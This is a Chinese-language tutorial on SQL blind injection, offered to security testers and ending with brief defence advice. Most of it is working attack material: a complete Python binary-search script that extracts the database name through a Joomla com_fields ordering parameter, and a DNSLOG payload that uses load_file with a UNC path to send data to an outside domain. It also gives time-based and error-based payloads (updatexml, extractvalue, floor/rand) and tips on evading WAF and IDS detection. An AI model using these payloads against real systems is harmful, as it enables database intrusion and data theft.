浅谈SQL盲注测试方法解析与技巧
字数 1572 2025-08-18 11:37:23
SQL盲注测试方法解析与技巧
一、SQL盲注概述
SQL盲注是一种在Web应用程序中利用SQL注入漏洞的技术,与常规SQL注入不同,盲注情况下应用程序不会直接返回数据库错误信息或查询结果,而是通过观察应用程序的不同响应行为来推断数据库信息。
二、Boolean-Based盲注(布尔型盲注)
基本原理
通过构造SQL查询,使得应用程序根据查询条件的真假返回不同的响应,从而推断出数据库信息。
常用函数
left(x,y)- 从x的最左侧开始截取前y位ascii(substr((sql),1,1))=num- 从sql语句返回的字符串的第一位开始,截取字符串的一长度,将其转换成ascii编码,然后与num比较ord(mid((sql),1,1))=num- ord()与ascii()功能相同regexp '^[a-z]'- 使用正则表达式进行匹配
二分法实现
二分法可以显著提高布尔型盲注的效率:
# -*- coding:UTF-8 -*-
import requests
import sys
url = 'http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]='
string = '0123456789ABCDEFGHIGHLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
flag = ''
cookies = {'9e44025326f96e2d9dc1a2aab2dbe5b1': 'l1p92lf44gi4s7jdf5q73l0bt5'}
i = 1
while i <= 7:
left = 0
right = len(string) - 1
mid = int((left + right) / 2)
# 特殊情况处理
if (right - left) == 1:
payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))
poc = url + payload
response = requests.get(poc, cookies=cookies, timeout=2)
if ('安全令牌无效') in response.text:
flag = flag + string[right]
else:
flag = flag + string[left]
break
# 二分法主循环
while 1:
mid = int((left + right) / 2)
payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[mid])))
poc = url + payload
response = requests.get(poc, cookies=cookies, timeout=2)
if ('安全令牌无效') in response.text: # 右半部
left = mid + 1
else: # 左半部
right = mid
if (left == right):
flag = flag + string[left]
break
# 特殊情况处理
if (right - left) == 1:
payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))
poc = url + payload
response = requests.get(poc, cookies=cookies, timeout=2)
if ('安全令牌无效') in response.text:
flag = flag + string[right]
else:
flag = flag + string[left]
break
i += 1
print(flag)
优缺点
- 优点:比遍历穷举快
- 缺点:容易被封IP,速度相对较慢
三、DNSLOG盲注
基本原理
利用DNS查询记录来获取SQL注入结果,通过构造特殊的SQL查询使数据库服务器向攻击者控制的DNS服务器发起查询。
必要条件
- 仅限于Windows环境(需要支持UNC路径)
- MySQL版本>=5.5.53需要检查
secure_file_priv全局变量是否为空- 如果为NULL,则不可用
- 如果为空,则开启
- 如果为目录,则只能在该目录下操作
配置检查与修改
-- 查看secure_file_priv设置
show global variables like '%secure%';
-- Windows下修改my.ini
[mysqld]
secure_file_priv =
-- Linux下修改my.cnf
[mysqld]
secure_file_priv =
示例Payload
?id=1' and if((select load_file(concat('\\\\',(select database()),'.karmaof.me\\123'))),1,1)--+
UNC路径说明
UNC为网络(主要指局域网)上资源的完整Windows名称,格式:\\servername\sharename,其中:
servername是服务器名sharename是共享资源的名称
优缺点
- 优点:简单快速,不需要像二分法一样繁琐地一个个遍历
- 缺点:局限于Windows环境,MySQL配置要求较高
四、Time-Based盲注(时间型盲注)
常用延时函数
sleep()- 使查询暂停指定秒数select sleep(5)benchmark()- 执行指定次数的表达式select benchmark(1000000,sha(1))- 笛卡尔积 - 通过大量计算造成延时
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C; get_lock()- 利用锁机制造成延时(需要mysql_pconnect函数连接数据库)-- session 1 select get_lock('karma',1) -- session 2 select get_lock('karma',10)
五、Error-Based盲注(报错型盲注)
常用技术
floor()+count()+group by(万能报错)and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+exp()- 利用数值溢出and exp(~(select * from (select database() ) a) );--+bigint溢出(MySQL Version >=5.4.45)and !(select*from(select user())x)-~0-- -extractvalue()(MySQL Version >=5.1.5)and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+updatexml()(MySQL Version >=5.1.5)and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+- 最多只能显示32位,超过长度可以配合substr()
name_const()- 生成指定名称的列union select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;--+
六、CASE WHEN语句详解
语法结构
CASE expression
WHEN condition1 THEN result1
WHEN condition2 THEN result2
...
WHEN conditionN THEN resultN
ELSE result
END
示例用法
-- 简单判断版
select
(case when users.id = 1 then users.username
when users.id = 2 then users.username
else 0
end) as username2
from users;
-- 搜索版(when后可接任意判断表达式)
select
(case when users.id = 1 then users.username
when users.id = 2 then users.username
else 0
end) as username2
from users;
七、实战注意事项
- 注入点确认:
http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=[payload] - 特殊字符处理:注意单双引号的转义问题
- 错误处理:注意应用程序的错误响应机制
- 性能考虑:根据实际情况选择最适合的盲注技术
- 防御规避:注意WAF/IDS的检测机制,可能需要调整注入方式
八、防御建议
- 使用参数化查询(Prepared Statements)
- 实施最小权限原则
- 输入验证和过滤
- 错误信息处理
- 使用Web应用防火墙(WAF)
- 定期安全审计和渗透测试
通过掌握这些SQL盲注技术,安全测试人员可以更全面地评估Web应用程序的安全性,发现潜在的安全隐患。